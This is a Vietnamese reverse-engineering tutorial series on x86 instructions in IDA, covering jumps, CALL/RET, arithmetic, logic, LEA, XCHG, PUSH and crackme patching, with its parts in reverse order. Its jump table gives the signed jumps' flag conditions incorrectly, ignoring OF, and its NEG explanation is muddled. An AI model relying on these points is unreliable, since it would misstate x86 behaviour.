Nếu sử dụng debugger để debug chương trình, chúng ta có thể tương tác để thay đổi kết quả trên các cờ. Tuy nhiên, điều quan trọng bây giờ cần phải nhớ có những lệnh nhảy khác nhau có thể xuất hiện trong một chương trình như hình minh họa dưới đây:

Ngoại trừ các lệnh JMPNOP được liệt kê trong bảng, các lệnh còn lại đều là các lệnh nhảy có điều kiện. Các lệnh nhảy này đều căn cứ vào kết quả của câu lệnh so sánh trước đó.

  • Các lệnh nhảy Above / Below được sử dụng cho so sánh số không dấu (unsinged comparison)
  • Các lệnh nhảy Greater than / Less than được sử dụng cho so sánh số có dấu (singed comparison)
  • Mặc dù có nhiều lệnh nhảy có điều kiện nhưng may mắn là trong số đó có các lệnh cùng một mục đích. Ví dụ: JNE == JNZ (Nhảy nếu không bằng nhau, Nhảy nếu không bằng 0, cả hai cùng kiểm tra cờ (ZF == 0)).
Instruction Description Aliases Flags
jz Jump if zero je zf = 1
jnz Jump if not zero jne zf = 0
jl Jump if less jnge sf = 1
jle jump if less or equal jng zf=1 or sf=1
jg jump if greater jnle zf=0 and sf=0
jge jump if greater or equal jnl sf = 0
jc jump if carry jb, jnae cf = 1
jnc jump if not carry jnb, jae cf = 0

Bên lề: bên cạnh việc so sánh sử dụng câu lệnh CMP, một câu lệnh khác cũng rất hay được sử dụng là TEST. Bản chất của lệnh TEST là tính toán logic thông qua việc AND hai toán hạng, căn cứ trên kết quả để bật cờ. Kết quả tính toán sẽ không được lưu lại.

Lệnh CALL và RET

Các lệnh tiếp theo mà tôi sẽ đề cập đến là lệnh CALL, dùng để gọi một hàm và lệnh RET, dùng để trở quay trở về lệnh tiếp theo sẽ được thực hiện sau lệnh Call.

Trên hình, chúng ta thấy một ví dụ của lệnh CALL, lệnh này sẽ nhảy đến địa chỉ 0x4013d8 để thực hiện hàm tại đó (chúng ta thấy tiền tố sub_ ở phía trước của địa chỉ 0x4013D8 thông báo cho ta biết đây là một hàm).

Lệnh CALL thực hiện sẽ lưu vào đỉnh của ngăn xếp (Stack) đỉa chỉ trở về sau khi thực hiện xong hàm, tức là địa chỉ bên dưới của lệnh Call mà trong trường hợp này là 0x40123d. Sau đó, nó sẽ thay đổi địa chỉ của thanh ghi EIP bằng địa chỉ đã chỉ định trong câu lệnh. Địa chỉ đích có thể được chỉ định theo nhiều cách:

  • Giá trị trực tiếp (immediate value): call   0x401da8
  • Thanh ghi dùng chung: call eax
  • Vị trí bộ nhớ: call    dword ptr [0x40202c]

Ta có thể truy cập các lệnh bên trong CALL bằng cách nhấn Enter tại lệnh CALL đó:

Khi kết thúc hàm, sẽ thực hiện một lệnh RET, lệnh này có nhiệm vụ lấy địa chỉ trở về được lưu tại đỉnh của stack là 0x40123d, đưa vào thanh ghi EIP và nhảy tới địa chỉ này để tiếp tục thực hiện lệnh sau CALL.

Bên lề: liên quan đến hai lệnh Call & Ret chúng ta cần biết thêm về tập quán gọi hàm (hay từ chuyên môn là calling convention), bởi vì việc gọi hàm có thể khác nhau trong mã lệnh asm. Nó bao gồm thứ tự các tham số được đẩy vào ngăn xếp hay các thanh ghi, hàm gọi (caller) hay hàm được gọi (callee) chịu trách nhiệm dọn dẹp ngăn xếp khi hoàn tất hàm. Tùy thuộc vào trình biên dịch, có hai tập quán gọi hàm hay gặp nhất là cdecl (C declaration) và và stdcall. Ngoài ra, còn rất nhiều tập quán gọi hàm khác mà các bạn có thể xem thêm tại đây: https://en.wikipedia.org/wiki/X86_calling_conventions

cdecl – tập quán gọi hàm phổ biến nhất:

  • Tham số của hàm được đẩy vào stack theo chiều từ phải qua trái.
  • Kết quả trả về của hàm thường lưu vào thanh ghi EAX.
  • Hàm gọi (caller) chịu trách nhiệm dọn dẹp stack.

Ví dụ:

_cdecl int function(int arg1, int arg2, int arg3)

Stdcall – thường được sử dụng bởi Microsoft C++, đặc biệt là Win32 API functions:

  • Tham số của hàm được đẩy vào stack theo chiều từ phải qua trái.
  • Kết quả trả về của hàm thường lưu vào thanh ghi EAX.
  • Hàm được gọi (callee) chịu trách nhiệm dọn dẹp stack.

Ví dụ:

_stdcall int function(int a, int b, int c)

Như vậy, tới phần này chúng ta đã tìm hiểu một số câu lệnh ASM hay sử dụng nhất. Nó là bước đệm để các tôi và các bạn đi tiếp các phần sau.

Phần 7 xin được dừng lại tại đây. Hẹn các bạn gặp lại ở phần 8 sẽ thú vị hơn!

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


Tiếp tục với các lệnh assembly cơ bản, phần này sẽ là các lệnh tính toán và logic.

Các lệnh tính toán

Lệnh ADD

Cú pháp của lệnh như sau:

ADD A, B ; A = A + B

Câu lệnh ADD thực hiện cộng giá trị của B với A, kết quả tính toán sẽ lưu vào A. Tức là A = A + B. A ở đây có thể là một thanh ghi hoặc là nội dung của một ô nhớ, B có thể là một thanh ghi, một hằng số hoặc nội dung của một ô nhớ. Tuy nhiên, trong câu lệnh ADD thì cả AB không thể đồng thời là nội dung của ô nhớ.

Quan sát một số ví dụ về lệnh ADD có được bằng việc tìm kiếm chuỗi ADD trong Veviewer.

Ta thấy có khá nhiều câu lệnh ADD với toán hạng đầu tiên là một thanh ghi và toán hạng thứ hai là một hằng số. Như chúng ta biết, nó sẽ cộng vào giá trị mà thanh ghi đang có tại thời điểm đó với giá trị hằng số, kết quả tính toán sẽ được lưu lại vào thanh ghi.

Trong ví dụ này, nếu thanh ghi ECX có giá trị là 0x10000, nó sẽ được cộng thêm 4, kết quả thu được là 0x10004 sẽ được lưu vào chính thanh ghi ECX.

Còn trong trường hợp trên, lệnh ADD sẽ thực hiện cộng giá trị 0xFFFFFFFF vào giá trị có được tại địa chỉ được trỏ bởi ECX+30, và nếu địa chỉ đó có quyền ghi, nó sẽ thực hiện cộng thêm và lưu lại kết quả ở đó.

Giả sử, nếu thanh ghi ECX đang có giá trị 0x10000 thì kết quả phép tính trong [] cho ta một địa chỉ là 0x10030. Giả sử nội dung tại địa chỉ này có giá trị 1, thì khi được cộng thêm 0xFFFFFFFF (bằng -1) sẽ có kết quả sẽ bằng 0 và được lưu lại vào địa chỉ 0x10030.

Còn ở crackme.exe, ta có thể gặp ví dụ của lệnh ADD sử dụng các toán hạng là các thanh ghi như sau:

Trong trường hợp này, giá trị của cả hai thanh ghi sẽ được cộng với nhau và lưu vào EDI. Tất nhiên ta cũng có thể sử dụng các thanh ghi 16-bit và 8-bit. Ví dụ:

ADD AL, 8

ADD AX, 8

ADD BX, AX

ADD byte ptr ds: [EAX], 7

Lệnh trên cộng vào byte nội dung mà EAX trỏ đến với giá trị hằng số là 7 và lưu lại tại cùng một vị trí.

Lệnh SUB

Cú pháp của lệnh như sau:

SUB A, B ; A = A – B

Lệnh SUB cũng tương tự như lệnh ADD, ngoại trừ thay vì thực hiện cộng thì nó thực hiện trừ số nguyên và lưu kết quả vào A. Các kết hợp của lệnh có thể như sau:

Lệnh INC và DEC

INC A; A++

DEC A; A–

Các lệnh trên thực hiện tăng hoặc giảm giá trị thanh ghi hoặc nội dung của một địa chỉ bộ nhớ đi 1. Trên thực tế đây có thể xem là một trường hợp đặc biệt của phép cộng và trừ.

Bên lề: Cả hai lệnh này thường hay được sử dụng trong các vòng lặp để tăng hoặc giảm biến đếm.

Lệnh IMUL

Đây là lệnh thực hiện phép tính nhân số có dấu và có hai dạng như sau:

IMUL A, B    ; A = A * B

IMUL A, B, C ; A = B * C

Bên lề: Tại sao lại là câu lệnh imul (signed multiply) mà không phải là câu lệnh mul (unsigned multiply)? Đó là bởi trình Visual Studio dường như có một sự ưa thích đối với lệnh imul. Kể cả khi bạn khai báo biến có kiểu unsigned trong chương trình, khi compile code và chuyển qua assembly thì sẽ thấy chương trình sử dụng câu lệnh imul.

Quay trở lại với cú pháp của lệnh:

  • Câu lệnh đầu tiên sẽ thực hiện nhân A với B, kết quả được bao nhiêu sẽ được lưu lại vào A.
  • Câu lệnh thứ hai thì B và C được nhân với nhau và kết quả được lưu vào A.

Trong cả hai trường hợp A chỉ có thể là một thanh ghi, B chỉ có thể là một thanh ghi hoặc nội dung của một vị trí bộ nhớ và C chỉ có thể là một hằng số.

imul eax, [ecx] 

imul esi, edi, 25 

Một vài ví dụ khác của lệnh IMUL tìm thấy trong file Veviewer

Trong hình minh họa trên, ta thấy hầu như chỉ có các lệnh imul theo dạng 1 (imul A, B). Với trường hợp lệnh chỉ có một toán hạng (ví dụ: imul ecx), thì tùy theo độ dài của toán hạng mà sẽ lấy giá trị trong các thanh ghi AL, AX, hoặc EAX để nhân và kết quả của phép nhân sẽ được lưu vào AX, DX:AX, hoặc EDX:EAX.

Lệnh DIV/ IDIV

Cú pháp của lệnh như sau:

DIV/ IDIV A

Trong câu lệnh này, A được hiểu là số chia. Số bị chia và thương số không được chỉ định bởi vì chúng luôn giống nhau. Tức là có 3 dạng như sau:

  • Nếu A có kiểu byte, lấy giá trị của thanh ghi AX chia cho A, kết quả thương số lưu vào thanh ghi AL, phần dư lưu vào thanh ghi AH.
  • Nếu A có kiểu word, lấy giá trị của cặp thanh ghi DX:AX chia cho A, kết quả thương số lưu vào thanh ghi AX, phần dư lưu vào thanh ghi DX.
  • Nếu A có kiểu dword, lấy giá trị của cặp thanh ghi EDX:EAX chia cho A, kết quả thương số lưu vào thanh ghi EAX, phần dư lưu vào thanh ghi EDX.

Xem xét ví dụ:

Với lệnh trên, ví dụ nếu EAX = 5, EDX = 0 và ECX = 2, nó sẽ thực hiện phép chia số nguyên. Kết quả của phép chia 5 / 2 sẽ được 2 và dư 1. Khi đó kết quả là 2 được lưu vào thanh ghi EAX và số dư 1 sẽ được lưu vào thanh ghi EDX.

Bên lề: Thông thường khi thực hiện phép chia, do thanh ghi EDX được sử dụng để lưu phần dư nên nó sẽ được thiết lập về 0 trước khi thực hiện phép tính. Để xóa EDX về 0 có hai cách:

  • Sử dụng câu lệnh XOR (chi tiết bên dưới): XOR EDX, EDX
  • Sử dụng câu lệnh CDQ (như trên hình minh họa): Câu lệnh này thực hiện mở rộng bit dấu (bit 31) của thanh ghi EAX sang thanh ghi EDX. Nếu bit này có giá trị 0 thì EDX sẽ bằng 0.

Điều tương tự sẽ xảy ra nếu như A là nội dung của một ô nhớ (dword ptr ds:[402000]), EDX:EAX sẽ được chia cho giá trị đó và kết quả sẽ được lưu trong EAX và phần dư trong EDX.

Các lệnh Logic

Lệnh AND, OR và XOR

AND A, B ; A = A & B

OR A, B  ; A = A | B

XOR A, B ; A = A ^ B

Lệnh đầu tiên thực hiện phép AND giữa hai giá trị và lưu lại kết quả vào A, tương tự với các lệnh OR hoặc XOR. Mỗi phép tính đều sử dụng một bảng thật tương ứng của nó. A và B có thể là thanh ghi hoặc nội dung của địa chỉ bộ nhớ, tuy nhiên các thao tác giữa hai ô nhớ là không hợp lệ.

Lệnh hay được sử dụng nhiều nhất là XOR cùng một thanh ghi để dễ dàng xóa thanh ghi đó về 0. Ví dụ: XOR EAX,EAX. Dưới đây là bảng thật hay bảng chân lý (như ở các trường đại học hay dạy) tương ứng cho từng lệnh:

Trong bảng trên chúng ta thấy rằng nếu XOR một số với chính nó thì kết quả sẽ luôn bằng không. Các phép tính này được thực hiện ở chế độ nhị phân (binary):

  • Lệnh AND có thể sử dụng để che đi/ giữ lại các bit nhất định của toán hạng đích. Bit 0 của mặt nạ sẽ xóa bit tương ứng, còn bit 1 của mặt nạ sẽ giữ nguyên bit tương ứng của toán hạng đích.
  • Lênh OR có thể được sử dụng để thiết lập các bit xác định của toán hạng đích trong khi vẫn giữ nguyên các bit còn lại. Bit 1 cua mặt nạ sẽ thiết lập bit tương ứng còn bit 0 của mặt nạ sẽ giữ nguyên bit tương ứng của toán hạng đích.
  • Lệnh XOR dùng để đảo các bit xác định của toán hạng đích trong khi vẫn giữ nguyên các bit còn lại. Bit 1 của mặt nạ làm đảo bit tương ứng còn bit 0 giữ nguyên bit tương ứng của toán hạng đích.

Như đã nói, lệnh XOR dùng để xóa một thanh ghi về 0, bằng cách này sẽ thực hiện nhanh hơn lệnh MOV.

Để kiểm tra ta có thể viết một lệnh xor hai số giống nhau ở dạng binary trong khung Python. Kết quả trả về luôn là 0:

Tất nhiên, ta hoàn toàn có thể áp dụng với các số thập phân và thập lục phân. Ở trên tôi để ở dạng nhị phân để quan sát kết quả cụ thể ứng với từng bit. Còn trong ví dụ dưới đây tôi để ở dạng hexa:

Một ví dụ đơn giản của lệnh AND:

AND EAX, 0F

Biểu diễn ở dạng binary thì 0F sẽ là 1111:

Dựa vào bảng thật, chúng ta thấy rằng nếu cả hai bit là 1 thì kết quả sẽ không thay đổi, trong khi các cặp bit khác sẽ cho kết quả là 0. Bằng cách này tôi dễ dàng thiết lập lại tất cả các bit của một số là 0 và giữ nguyên 4 bit cuối cùng không thay đổi. Ví dụ:

Như đã biết phép AND được biểu diễn bằng dấu “&”. Với câu lệnh như trên, ta sẽ giữ lại được 4 bit cuối.

Lệnh OR được biểu diễn bằng dấu “|”, ví dụ như sau:

Lệnh NOT

NOT A

Lệnh NOT thực hiện đảo ngược tất cả các bit của A và lưu lại kết quả vào A. Trong Python không có lệnh NOT, nhưng nó rất đơn giản nếu bạn có một số nhị phân, ví dụ 0101 và bạn áp dụng lệnh NOT với số này:

Kết quả có được sau khi thực hiện đảo ngược từng bit một. Toàn bộ các bit 0 sẽ được thay bằng 1 và ngược lại.

Lệnh NEG

NEG A ; chuyển đổi A thành –A (reg = 0 – reg). Trên thực tế, lệnh neg là kết quả của một lệnh notadd 1.

Nó không giống như cú pháp ~ trong Python vì lệnh này chỉ là phép trừ đi 1.

Nói cách khác, để thực hiện lệnh NEG bằng Python, bạn cần cộng thêm 1 vào kết quả.

Các lệnh dịch bit SHL, SHR

SHL A, B; Dịch trái A đi B bit

SHR A, B; Dịch phải A đi B bit

A có thể là một thanh ghi hoặc một vị trí bộ nhớ và B là một hằng số hay một thanh ghi 8-bit. Các lệnh này thực hiên phép dịch bit sang trái (SHL) và sang phải (SHR), các bit bên phải/trái được thay thế bằng các số 0, chúng ta hãy xem ví dụ.

Nếu tôi có -1:

Khi thực hiện SHL 2, nó sẽ có kết quả:

Khi di chuyển các bit sang trái, mỗi lần dịch thì MSB sẽ được đưa qua cờ CF và 0 đưa vào LSB. Vì dịch đi 2, nên hai bit cuối cùng ở phía bên phải nhất sẽ được thay thế bằng 0.

Tương tự khi ta thực hiện lệnh SHR. Các bit sẽ di chuyển sang phải, sau mỗi lần dịch thì LSB sẽ được đưa qua cờ CF còn 0 đưa vào MSB.

Lưu ý: Việc dịch bit trái (phải) tương ứng với phép nhân (chia) cho lũy thừa 2.

  • shl eax, 0x2 à EAX << 2 or EAX = EAX * 4
  • shr eax, 0x2 à EAX >> 2 or EAX = EAX / 4

Phần 6 xin được dừng lại tại đây. Hẹn các bạn gặp lại ở phần 7!

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


LEA (LOAD EFFECTIVE ADDRESS)

Trong phần tiếp theo này chúng ta sẽ tiếp tục với lệnh LEA và cách sử dụng của lệnh này trong code của chương trình.

Cú pháp của lệnh như sau:

LEA A, B

Lệnh LEA (nạp địa chỉ hiệu dung vào thanh ghi) thực hiện chuyển một địa chỉ được chỉ định trong B (nguồn) vào A (đích). Nội dung của B không bao giờ được truy cập, nó sẽ luôn là một địa chỉ hoặc là kết quả của phép tính toán nằm trong dấu ngoặc vuông [] của toán hạng thứ hai. Lệnh LEA được sử dụng rất nhiều để lấy địa chỉ bộ nhớ của các biến hoặc các tham số.

Quan sát một ví dụ dưới đây:

Các bạn để ý, tại các hàm mà IDA phân tích ta sẽ thấy có các tham số được truyền vào cho hàm. Các tham số này được kí hiệu là arg_x. Thường thì việc truyền tham số cho một hàm sẽ thông qua lệnh PUSH trước khi thực thi hàm đó. Như chúng ta đã thấy trên hình, lệnh PUSH thực hiện lưu các giá trị vào trong ngăn xếp, các giá trị này được gọi là đối số hay tham số.

Quan sát hình, ở phần đầu của mỗi hàm, ta sẽ thấy có một danh sách liệt kê gồm có các biến cục bộ và các tham số mà hàm sử dụng. Cụ thể, tại hàm sub_401170 trên hình, ta thấy có một tham số trong ngăn xếp bởi hàm chỉ nhận duy nhất một arg, trong trường hợp này IDA đặt tên là arg_0. Bên cạnh đó, hàm cũng dành riêng không gian trong ngăn xếp để phục vụ lưu các biến cục bộ, các biến cục bộ này nằm phía trên các tham số như quan sát trên hình và bắt đầu bằng var_x.

Tôi sẽ giải thích sau về vị trí chính xác của các tham số và các biến trong stack. Còn tại thời điểm này bạn chỉ cần nhớ rằng mỗi tham số hoặc biến mà một hàm sử dụng sẽ có một địa chỉ do hệ thống cấp phát và một giá trị được lưu tại địa chỉ đó.

Quay trở lại với lệnh LEA, chương trình sử dụng một lệnh LEA tại địa chỉ 0x401191 lea     eax, [ebp+var_C], câu lệnh này sẽ thực hiện lấy địa chỉ của biến trên Stack và gán vào thanh ghi EAX. Nếu ngược lại, đây là một câu lệnh MOV thì sẽ chuyển nội dung hoặc giá trị đang được lưu giữ trong biến vào EAX.

Hay nói cách khác, lệnh LEA, mặc dù sử dụng cặp ngoặc [], nhưng nó chỉ chuyển địa chỉ đã được thực hiện tính toán bên trong ngoặc mà không truy cập vào nội dung của ô nhớ và thanh ghi EBP thường được sử dụng làm thanh ghi cơ sở cho việc truy xuất các biến và các tham số trên stack của mỗi hàm. Về bản chất, quá trình thực hiện thực ra chỉ là cộng hoặc trừ thanh ghi EBP với một giá trị hằng số để trỏ tới một địa chỉ nằm trên Stack mà thôi, tuy nhiên do IDA là công cụ hỗ trợ khả năng tương tác cao, nên nó sẽ đánh nhãn cho từng biến để ta có thể dễ dàng đặt lại tên khi phân tích.

Tại IDA, nếu ta nhấn phải chuột vào biến đó, ta sẽ thấy được cách biểu diễn toán học thuần túy là [EBP-0Ch] và ta có thể thay đổi lệnh bằng cách nhấn phím Q. Đó là lý do tại sao lệnh LEA chỉ thực hiện việc tính toán EBP-0C, vì đơn giản thanh ghi EBP đang lưu một địa chỉ trên ngăn xếp làm base (cơ sở) cho hàm, sau khi trừ đi giá trị 0C ta có được địa chỉ của biến nói trên.

Ở đây, nhiều người có thể tự hỏi sẽ dễ dàng hơn cho IDA nếu sử dụng ký hiệu toán học thuần túy cho các biến và các tham số thay vì sử dụng [EBP – hoặc + một tag]. Vấn đề là trong reversing, việc ta có thể đổi tên các biến và tham số với tên mà ta mường tượng ra khi tác giả code chương trình là rất quan trọng, như vậy sẽ giúp chúng ta dễ dàng hơn trong quá trình phân tích. Lúc đó, sẽ không còn là một biến được gọi là EBP – 0C mà có thể đổi thành EBP + SIZE, nếu lúc phân tích, tôi biết lệnh này sẽ lưu một size (Việc đổi tên được thực hiện bằng cách sử dụng phím tắt N). Nếu cần quay về câu lệnh gốc tôi có thể nhấn chuột phải lên nó để thay đổi.

Vì lý do trên, lệnh LEA cũng được sử dụng để thực hiện các tính toán nằm trong [], sau đó chuyển kết quả tính toán vào thanh ghi đích, mà không cần truy cập nội dung.

Xem xét các ví dụ:

LEA EAX, [4+5]

Lệnh trên sẽ tính toán và gán 9 vào thanh ghi EAX, nó sẽ không chuyển nội dung của địa chỉ 0x9 như lệnh MOV sẽ thực hiện: MOV EAX, [4+5]

LEA EAX, [EBP – 0C]

Lệnh trên chuyển kết quả của EBP – 0C, là địa chỉ bộ nhớ của biến thu được khi thực hiện phép tính EBP – 0C và gán cho thanh ghi EAX. Khác với lệnh này MOV EAX, [EBP – 0C], ngoài việc tính toán EBP-0C để có được kết quả địa chỉ giống như lệnh LEA, lệnh này còn tìm kiếm nội dung của một giá trị được lưu trữ tại địa chỉ đã tính toán và gán giá trị đó cho EAX.

Chốt lại vấn đề, điều rất quan trọng giúp chúng ta nhận ra sự khác biệt giữa lệnh LEA và lệnh MOV là:

  • Lệnh LEA thực hiện lấy địa chỉ biến. Tương ứng mã giả là a = &b
  • Lệnh MOV thực hiện lấy giá trị được lưu tại địa chỉ biến. Tương ứng với mã giả là a = *b

Khi phân tích ứng dụng Vewiever, chúng ta thấy trong kết quả của việc tìm kiếm lệnh LEA thì hầu như đều sử dụng lệnh này để có được địa chỉ của các biến hoặc tham số trên ngăn xếp. Có rất nhiều lệnh sử dụng [EBP + something].

Một ứng dụng khác của lệnh LEA là các phép toán kết hợp giữa các thanh ghi và các hằng số, kết quả tính được gán cho toán hạng đầu tiên có thể một số hoặc một địa chỉ phụ thuộc vào giá trị của các thanh ghi.

Trong hình trên, tại thời điểm thực hiện tính toán, giả sử nếu ESI có giá trị 400000 và EAX bằng 2, thì giá trị của thanh ghi EDX sẽ là kết quả tính toán của biểu thức 0x400000 + 2*4+0x14:

Nói cách khác, nó sẽ gán giá trị 0x40001c vào thanh ghi EDX. Cơ bản về lệnh LEA đến đây là kết thúc và cũng là kết thúc của phần 5.

Xin chào và hẹn gặp lại ở phần 6!

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


Lệnh XCHG

Trong phần này, chúng ta tiếp tục thực hành với các lệnh chuyển dữ liệu trong IDA. Lệnh tiếp theo là XCHG, cú pháp của lệnh như sau:

XCHG A, B; Hoán đổi giá trị của A với giá trị của B. A và B có thể là hai thanh ghi, thanh ghi và ô nhớ, nhưng không được phép đồng thời là 2 ô nhớ.

Ta sẽ xem xét một vài ví dụ bên dưới. Do trong file Veviewer không có lệnh XCHG nên tôi sẽ dùng lại crackme của Cruehead và thực hiện thay đổi lệnh tại địa chỉ 0x4013d8.

Đặt chuột tại lệnh xor eax, eax, chọn Edit > Patch Program > Assemble trong menu của IDA và thay đổi như hình:

Nhấn OK để chấp nhận thay đổi. Kết quả ta thấy rằng hàm ban đầu đã bị hủy sau khi chúng ta thực hiện thay đổi lệnh:

Như trên hình, tại vị trí 004013D9, do không phải là lệnh mà IDA có thể nhận biết được nên nó sẽ hiển thị ở dạng dữ liệu. Trong trường hợp này, nó chỉ là một byte – căn cứ vào thông tin biểu diễn kiểu dữ liệu “db, và giá trị tại đó là 0xC0. Nếu ta thay thế byte này bằng một lệnh NOP (có nghĩa là KHÔNG LÀM GÌ CẢ):

Kết quả sau khi thay bằng lệnh NOP (opcode là 0x90):

Các bạn thấy mọi thứ trông có vẻ ổn hơn, nhưng tuy nhiên cấu trúc hàm vẫn bị phá vỡ. Như ở trên, khi ta thay lệnh XOR bằng lệnh XCHG thì phần không được nhận biết là mã lệnh nằm ở giữa và đồng thời cũng hủy luôn cấu trúc của hàm ban đầu. Tuy nhiên, khi đã thay bằng lệnh NOP, tức là ta đã loại bỏ byte mà IDA không nhận biết được nhưng IDA lại không tự động nhận diện lại cấu trúc của hàm. Để buộc IDA nhận biết đây là hàm thì phải thực hiện bằng tay. Nhấn chuột phải tại nơi hàm bắt đầu – tại địa chỉ 0x4013d8 và chọn Create Function:

IDA sẽ thay tiền tố loc_ (đứng trước của một địa chỉ hàm ý cho biết rằng đó là một vị trí thông thường) bằng tiền tố sub_ (thông báo rằng đó là bắt đầu của một chương trình con hoặc một hàm) và tự động nhận biết các tham số cũng như biến cục bộ tương ứng của hàm:

Sau khi thực hiện như trên các bạn thấy hàm đã được tạo lại chính xác. Để chuyển về chế độ đồ họa, nhấn phím cách (spacebar):

OK đẹp hơn rồi!

Quay lại với lệnh XCHG, giả sử nếu EAX có giá trị 0x12345678 và ESI có giá trị 0x55, khi ta thực hiện lệnh XCHG thì thanh ghi EAX sẽ được gán giá trị 0x55 và thanh ghi ESI là 0x12345678. Như vậy, sau khi thực hiện lệnh XCHG thì giá trị của hai thanh ghi được hoán đổi cho nhau.

Bên lề: Quan sát trong menu View > Open subviews, bạn sẽ thấy có một lựa chọn là Patched Bytes (Ctrl+Alt+P). Cửa sổ này cho ta biết địa chỉ nào có lệnh đã bị thay đổi và có thể khôi phục lại được các giá trị bau đầu thông qua lựa chọn Revert:

Lệnh XCHG cũng có thể được sử dụng để hoán đổi giữa giá trị thanh ghi với nội dung bộ nhớ được trỏ bởi thanh ghi:

Trong ví dụ trên, [ESI] có nghĩa là tìm kiếm nội dung tại vị trí trong bộ nhớ được trỏ bởi giá trị của thanh ghi ESI và hoán đổi cho giá trị của EAX. Giá trị của thanh ghi EAX sẽ được lưu vào vị trí bộ nhớ mà thanh ghi ESI trỏ tới nếu như vùng nhớ đó có quyền ghi.

Giả sử, nếu EAX có giá trị 0x55 và ESI có giá trị 0x10000. Lệnh XCHG lúc này sẽ kiểm tra hiện đang có gì lưu tại vị trí bộ nhớ 0x10000 và vùng nhớ này có thể ghi được không, nó sẽ lưu giá trị 0x55 ở đó và sẽ đọc giá trị mà nó đã có và lưu vào thanh ghi EAX.

Điều gì xảy ra nếu chúng ta thực hiện tương tự, nhưng thay vì sử dụng thanh ghi chúng ta sử dụng một địa chỉ bộ nhớ là một giá trị số cụ thể như chúng ta đã thực hiện với lệnh MOV ở phần trước?

Do chức năng Assemble của IDA không thể áp dụng đầy đủ cho tất cả các lệnh, chúng ta phải thay đổi các bytes thông qua chức năng Patch Bytes. Tuy nhiên, tốt hơn là nên sử dụng plugin Keypatch (một plugin được viết bởi hai anh Nguyen Anh Quynh (aka aquynh) & Thanh Nguyen (aka rd) đã giành được giải thưởng plugin contest của Hexrays năm 2016 – https://www.hex-rays.com/contests/2016/index.shtml), cho phép patch trực tiếp các lệnh ASM vào binary. Để cài đặt và sử dụng plugin này các bạn xem tại đây: https://github.com/keystone-engine/keypatch Khi cài đặt thành công, tại màn hình của IDA, nhấn chuột phải tại một lệnh bất kỳ sẽ xuất hiện như hình:

Lựa chọn Patcher (Ctrl-Alt-K), ta thấy rằng việc viết lệnh trong Keypatch rất đơn giản và sau đó lệnh sẽ được chuyển đổi thành cú pháp của IDA khi nhấn Patch:

Dưới đây là kết quả sau khi sửa lệnh:

Cũng giống như với lệnh MOV, khi xuất hiện tiền tố dword_ mà không phải là offset_ ở phía trước, nó có nghĩa là nó hoán đổi nội dung của 0x4020DC với giá trị của EAX.

Phew, với lệnh XCHG như thế là quá đủ, chúng ta chuyển sang các câu lệnh khác.

Các câu lệnh tương tác với Stack

Stack là gì?

Stack (Ngăn xếp) là một phần của bộ nhớ và là cấu trúc dữ liệu một chiều (các phần tử được cất vào và lấy ra từ cùng một đầu của cấu trúc). Việc truy cập vào stack sẽ tuân theo cơ chế FILO, nghĩa là “Vào trước, ra sau” hay LIFO, “Vào sau, ra trước”. Các bạn có thể hình dung Stack như một chồng đĩa, chiếc đĩa cuối cùng được xếp vào sẽ nằm trên đỉnh và chỉ có nó mới có thể được lấy ra đầu tiên. Theo quy ước, Stack hướng về phía địa chỉ bộ nhớ thấp hơn.

Image result for stack lower memory addr

Stack cho phép lưu trữ và khôi phục lại dữ liệu. Đối với việc xử lý dữ liệu trên stack, có hai thao tác lệnh cơ bản: PUSH, đẩy/lưu một phần tử vào đỉnh ngăn xếp và thao tác ngược lại của nó POP, loại bỏ/khôi phục một phần từ được đẩy vào cuối cùng ra khỏi ngăn xếp.

Tại mỗi thời điểm, ta chỉ có quyền truy cập tới đỉnh của stack, nghĩa là, phần tử được đẩy vào cuối cùng. Thao tác POP cho phép lấy được phần tử này ra khỏi ngăn xếp và cho phép truy cập tới phần tử tiếp theo bên dưới (phần tử được đẩy vào trước đó) – trở thành phần tử được xếp vào cuối cùng. Trong crackme.exe, tôi sẽ lấy ví dụ về cả hai lệnh PUSH và POP.

Lệnh PUSH

Lệnh này được dùng để thêm/ lưu dữ liệu vào trong ngăn xếp. Toán hạng nguồn có thể là các thanh ghi dùng chung hoặc ô nhớ. Sau mỗi lần thực hiện lệnh Push thì giá trị của thanh ghi ESP sẽ được giảm đi.

Thông thường, trong kiến trúc 32 bit, lệnh PUSH thường được sử dụng để truyền các tham số của một hàm vào ngăn xếp trước khi thực hiện lời gọi hàm bằng một lệnh CALL.

Quan sát ví dụ tại địa chỉ 0x40104f trong hình minh họa ở trên. Lệnh PUSH 64 đặt giá trị dword 0x64 vào đỉnh của stack, sau đó lệnh tiếp theo PUSH EAX đặt giá trị EAX lên trên giá trị dword 64 đã lưu trước đó. Như vậy, lúc này giá trị của EAX sẽ nằm tại đỉnh của ngăn xếp:

Cũng trong hình trên, ta còn thấy một kiểu lệnh PUSH khác. Thay vì lưu các giá trị hằng số thì lưu các địa chỉ bộ nhớ vào Stack, như trong trường hợp sau:

Ở đây có tiền tố offset ở phía trước của TAG tương ứng với một chuỗi, như vậy có nghĩa là sẽ push một địa chỉ có nội dung là một chuỗi hay mảng ký tự vào đỉnh của Stack. Chúng ta nhấp đúp vào thẻ đại diện cho tên chuỗi là WindowName. Trong mã nguồn C, việc khai báo một mảng kí tự sẽ như sau:

char mystring[] = “Hello”;

